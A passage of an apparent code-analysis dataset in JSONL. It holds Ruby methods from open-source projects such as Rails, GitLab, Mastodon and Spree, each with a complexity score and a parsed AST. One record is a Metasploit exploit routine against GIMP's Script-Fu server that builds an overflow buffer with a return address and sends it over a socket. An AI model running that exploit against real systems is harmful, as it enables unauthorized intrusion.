end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sql_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sql_query_string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_at\"]},{\"type\":\"ivar\",\"children\":[\"@start_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_at\"]},{\"type\":\"ivar\",\"children\":[\"@end_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]}]}]}]}","id":"adf1c459-0264-456c-9cb7-c83e69e5a54c"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/template.rb","start_line":98,"raw_source":"def parse(source, options = {})\n      parse_context = configure_options(options)\n      source = source.to_s.to_str\n\n      unless source.valid_encoding?\n        raise TemplateEncodingError, parse_context.locale.t(\"errors.syntax.invalid_template_encoding\")\n      end\n\n      tokenizer     = parse_context.new_tokenizer(source, start_line_number: @line_numbers && 1)\n      @root         = Document.parse(tokenizer, parse_context)\n      self\n    end","complexity_score":17.63,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parse_context\",{\"type\":\"send\",\"children\":[null,\"configure_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"to_s\"]},\"to_str\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"valid_encoding?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TemplateEncodingError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parse_context\"]},\"locale\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.syntax.invalid_template_encoding\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tokenizer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parse_context\"]},\"new_tokenizer\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_line_number\"]},{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@line_numbers\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@root\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Document\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"tokenizer\"]},{\"type\":\"lvar\",\"children\":[\"parse_context\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"633d9b77-2092-44f3-bf80-b0af3c236a8a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/requests/api/v1/trends/links_spec.rb","start_line":36,"raw_source":"def prepare_trends\n        Fabricate.times(3, :preview_card, trendable: true, language: 'en').each do |link|\n          2.times { |i| Trends.links.add(link, i) }\n        end\n        Trends::Links.new(threshold: 1).refresh\n      end","complexity_score":11.23,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_trends\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fabricate\"]},\"times\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"sym\",\"children\":[\"preview_card\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trendable\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"language\"]},{\"type\":\"str\",\"children\":[\"en\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Trends\"]},\"links\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"link\"]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Trends\"]},\"Links\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"threshold\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"refresh\"]}]}]}","id":"dae41f0c-10d4-4817-9f5f-76adba89d3aa"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/data_feeds/google/rss.rb","start_line":47,"raw_source":"def add_variant_information_to_xml(xml, product, variant)\n          input = { product: product, variant: variant, settings: @settings, store: store }\n          result = required_attributes.call(input)\n\n          if result.success\n            xml.item do\n              result.value[:information]&.each do |key, value|\n                xml['g'].send(key, value)\n              end\n\n              add_optional_information(xml, product, variant)\n              add_optional_sub_attributes(xml, product, variant)\n            end\n          end\n        end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_variant_information_to_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]},{\"type\":\"arg\",\"children\":[\"product\"]},{\"type\":\"arg\",\"children\":[\"variant\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"product\"]},{\"type\":\"lvar\",\"children\":[\"product\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant\"]},{\"type\":\"lvar\",\"children\":[\"variant\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"ivar\",\"children\":[\"@settings\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"store\"]},{\"type\":\"send\",\"children\":[null,\"store\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"required_attributes\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"item\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"information\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"g\"]}]},\"send\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_optional_information\",{\"type\":\"lvar\",\"children\":[\"xml\"]},{\"type\":\"lvar\",\"children\":[\"product\"]},{\"type\":\"lvar\",\"children\":[\"variant\"]}]},{\"type\":\"send\",\"children\":[null,\"add_optional_sub_attributes\",{\"type\":\"lvar\",\"children\":[\"xml\"]},{\"type\":\"lvar\",\"children\":[\"product\"]},{\"type\":\"lvar\",\"children\":[\"variant\"]}]}]}]},null]}]}]}","id":"216c40de-4ad1-4a66-bfb0-9f0f2fe4063e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":334,"raw_source":"def test_clear_schema_cache\n      Dir.mktmpdir do |dir|\n        ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, dir) do\n          path = File.join(dir, \"schema_cache.yml\")\n          File.open(path, \"wb\") do |f|\n            f.puts \"This is a cache.\"\n          end\n          assert File.file?(path)\n          ActiveRecord::Tasks::DatabaseTasks.clear_schema_cache(path)\n          assert_not File.file?(path)\n        end\n      end\n    end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_clear_schema_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"mktmpdir\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"db_dir\"]},{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dir\"]},{\"type\":\"str\",\"children\":[\"schema_cache.yml\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"puts\",{\"type\":\"str\",\"children\":[\"This is a cache.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"clear_schema_cache\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}","id":"a092c0ab-eaf6-4a10-b242-384f35e7f952"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/gimp_script_fu.rb","start_line":77,"raw_source":"def exploit\n    connect\n\n    payload.encoder.datastore.import_options_from_hash({ 'BufferRegister' => target['BufferRegister'] })\n    my_payload = payload.generate\n    sploit = my_payload\n    sploit << rand_text(target['Offset'] - my_payload.length)\n    sploit << [target.ret].pack(\"V\")\n\n    pkt = \"\\x47\" # Magic\n    pkt << [sploit.length / 256].pack(\"C\") # length_of_script_fu (high byte)\n    pkt << [sploit.length % 256].pack(\"C\") # length_of_script_fu (low byte)\n    pkt << sploit\n\n    print_status(\"Trying target #{target.name}...\")\n    sock.put(pkt)\n\n    handler\n    disconnect\n  end","complexity_score":47.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoder\"]},\"datastore\"]},\"import_options_from_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BufferRegister\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BufferRegister\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"my_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"generate\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"lvar\",\"children\":[\"my_payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_payload\"]},\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"str\",\"children\":[\"G\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"length\"]},\"/\",{\"type\":\"int\",\"children\":[256]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"length\"]},\"%\",{\"type\":\"int\",\"children\":[256]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"0a4852dc-58af-433f-9d6b-fa08ca45770c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/jira_import/users_mapper_service.rb","start_line":54,"raw_source":"def matched_users\n      strong_memoize(:matched_users) do\n        jira_emails = jira_users.map { |u| u['emailAddress']&.downcase }.compact\n        jira_names = jira_users.map { |u| jira_user_name(u)&.downcase }.compact\n\n        relations = []\n        relations << User.by_username(jira_names).select(\"users.id, users.name, users.username, users.email as user_email\")\n        relations << User.by_name(jira_names).select(\"users.id, users.name, users.username, users.email as user_email\")\n        relations << User.by_user_email(jira_emails).select(\"users.id, users.name, users.username, users.email as user_email\")\n        relations << User.by_emails(jira_emails).select(\"users.id, users.name, users.username, emails.email as user_email\")\n\n        User.from_union(relations).id_in(project_member_ids).select(\"users.id as user_id, users.name as name, users.username as username, user_email\")\n          .allow_cross_joins_across_databases(url: \"https://gitlab.com/gitlab-org/gitlab/-/issues/432608\")\n      end\n    end","complexity_score":48.0,"ast_json":"{\"type\":\"def\",\"children\":[\"matched_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"matched_users\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jira_emails\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jira_users\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"emailAddress\"]}]},\"downcase\"]}]},\"compact\"]}]},{\"type\":\"lvasgn\",\"children\":[\"jira_names\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jira_users\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jira_user_name\",{\"type\":\"lvar\",\"children\":[\"u\"]}]},\"downcase\"]}]},\"compact\"]}]},{\"type\":\"lvasgn\",\"children\":[\"relations\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relations\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"by_username\",{\"type\":\"lvar\",\"children\":[\"jira_names\"]}]},\"select\",{\"type\":\"str\",\"children\":[\"users.id, users.name, users.username, users.email as user_email\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relations\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"by_name\",{\"type\":\"lvar\",\"children\":[\"jira_names\"]}]},\"select\",{\"type\":\"str\",\"children\":[\"users.id, users.name, users.username, users.email as user_email\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relations\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"by_user_email\",{\"type\":\"lvar\",\"children\":[\"jira_emails\"]}]},\"select\",{\"type\":\"str\",\"children\":[\"users.id, users.name, users.username, users.email as user_email\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relations\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"by_emails\",{\"type\":\"lvar\",\"children\":[\"jira_emails\"]}]},\"select\",{\"type\":\"str\",\"children\":[\"users.id, users.name, users.username, emails.email as user_email\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"from_union\",{\"type\":\"lvar\",\"children\":[\"relations\"]}]},\"id_in\",{\"type\":\"send\",\"children\":[null,\"project_member_ids\"]}]},\"select\",{\"type\":\"str\",\"children\":[\"users.id as user_id, users.name as name, users.username as username, user_email\"]}]},\"allow_cross_joins_across_databases\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://gitlab.com/gitlab-org/gitlab/-/issues/432608\"]}]}]}]}]}]}]}","id":"f0e36113-bc39-4d01-99bd-a1afd8790437"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/helpers/form_helper/form_builder.rb","start_line":555,"raw_source":"def week_field(name, **attributes)\n          input(**_attributes(:week, name, attributes))\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"week_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwrestarg\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"input\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_attributes\",{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]}]}","id":"c8103cae-9b4a-412d-a09f-f0691a9bdd51"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/operators/date_range_clauses.rb","start_line":48,"raw_source":"def date_range_clause(table, field, from, to)\n      s = []\n\n      if from\n        return \"1 <> 1\" if date_too_big?(from)\n\n        unless date_too_small?(from)\n          s << \"#{table}.#{field} > '#{quoted_date_from_utc(from.yesterday)}'\"\n        end\n      end\n\n      if to\n        return \"1 <> 1\" if date_too_small?(to)\n\n        unless date_too_big?(to)\n          s << \"#{table}.#{field} <= '#{quoted_date_from_utc(to)}'\"\n        end\n      end\n\n      s.join(\" AND \").presence || \"1 = 1\"\n    end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"date_range_clause\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_too_big?\",{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"1 <> 1\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_too_small?\",{\"type\":\"lvar\",\"children\":[\"from\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"str\",\"children\":[\" > '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quoted_date_from_utc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},\"yesterday\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_too_small?\",{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"1 <> 1\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_too_big?\",{\"type\":\"lvar\",\"children\":[\"to\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"str\",\"children\":[\" <= '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quoted_date_from_utc\",{\"type\":\"lvar\",\"children\":[\"to\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"join\",{\"type\":\"str\",\"children\":[\" AND \"]}]},\"presence\"]},{\"type\":\"str\",\"children\":[\"1 = 1\"]}]}]}]}","id":"df2d3ee1-798d-4e8b-8377-3c8525f10e18"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250224234956_create_secret_detection_token_status.rb","start_line":6,"raw_source":"def change\n    create_table :secret_detection_token_statuses, id: false do |t|\n      t.bigint :vulnerability_occurrence_id, primary_key: true, default: nil\n      t.bigint :project_id, null: false\n      t.timestamps_with_timezone null: false\n      t.integer :status, limit: 2, null: false, default: 0\n\n      t.index :project_id, name: 'idx_secret_detect_token_on_project_id'\n    end\n  end","complexity_score":8.35,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"secret_detection_token_statuses\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"vulnerability_occurrence_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_key\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_secret_detect_token_on_project_id\"]}]}]}]}]}]}]}","id":"58c8a580-dcdb-4881-8bdd-5e6e19a7f48d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/pipeline/index.rb","start_line":61,"raw_source":"def click_on_latest_pipeline\n            latest_pipeline.find(element_selector_css('pipeline-url-link')).click\n          end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"click_on_latest_pipeline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"latest_pipeline\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"element_selector_css\",{\"type\":\"str\",\"children\":[\"pipeline-url-link\"]}]}]},\"click\"]}]}","id":"7cd67f33-5259-4f2a-8bb5-8e30785a490b"}
